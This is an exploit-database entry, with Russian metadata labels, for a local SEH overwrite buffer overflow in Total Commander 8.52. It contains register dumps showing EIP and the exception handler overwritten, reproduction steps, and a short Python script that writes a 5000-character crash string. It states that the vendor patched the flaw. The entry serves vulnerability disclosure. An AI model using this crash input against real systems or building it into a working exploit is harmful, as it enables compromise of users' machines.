Exploit Total Commander 8.52 - Overwrite Buffer Overflow (SEH)

[Exploiter]

EDB-ID

38185

Проверка EDB

1. Пройдено

Автор

UN_N0N

Тип уязвимости

LOCAL

Платформа

WINDOWS

CVE

N/A

Дата публикации

2015-09-15

Total Commander 8.52 - Overwrite Buffer Overflow (SEH)

'''
********************************************************************************************
# Exploit Title: Total Commander 32bit SEH Overwrite.
# Date: 8/27/2015
# Exploit Author: Un_N0n
# Software Vendor: http://www.ghisler.com/
# Software Link: http://www.ghisler.com/download.htm
# Version: 8.52
# Tested on: Windows 8 x64(64 BIT)
********************************************************************************************
[Info:]
EAX 00106541 
ECX FFFFFEFA
EDX 0031E941
EBX 04921F64
ESP 001065FC 
EBP 41414141
ESI 04930088
EDI 0031E9B0

EIP 41414141

SEH chain of main thread, item 0
	Address=001065FC
	SE handler=41414141
'''

[Steps to Produce the Crash]:
1- Open up 'TOTALCMD.EXE'.
2- Goto Files -> Change Attributes.
3- In time field paste in contents of 'Crash.txt'.
~ Software will crash b/c SEH Overwrite.

[Code for CRASH.txt]
file = open("crash.txt",'w')
file.write("A"*5000)
file.close()

->After Reporting,
	Vendor has released(bugfix release) a new version(8.52a[9th SEPT 2015]).
**********************************************************************************************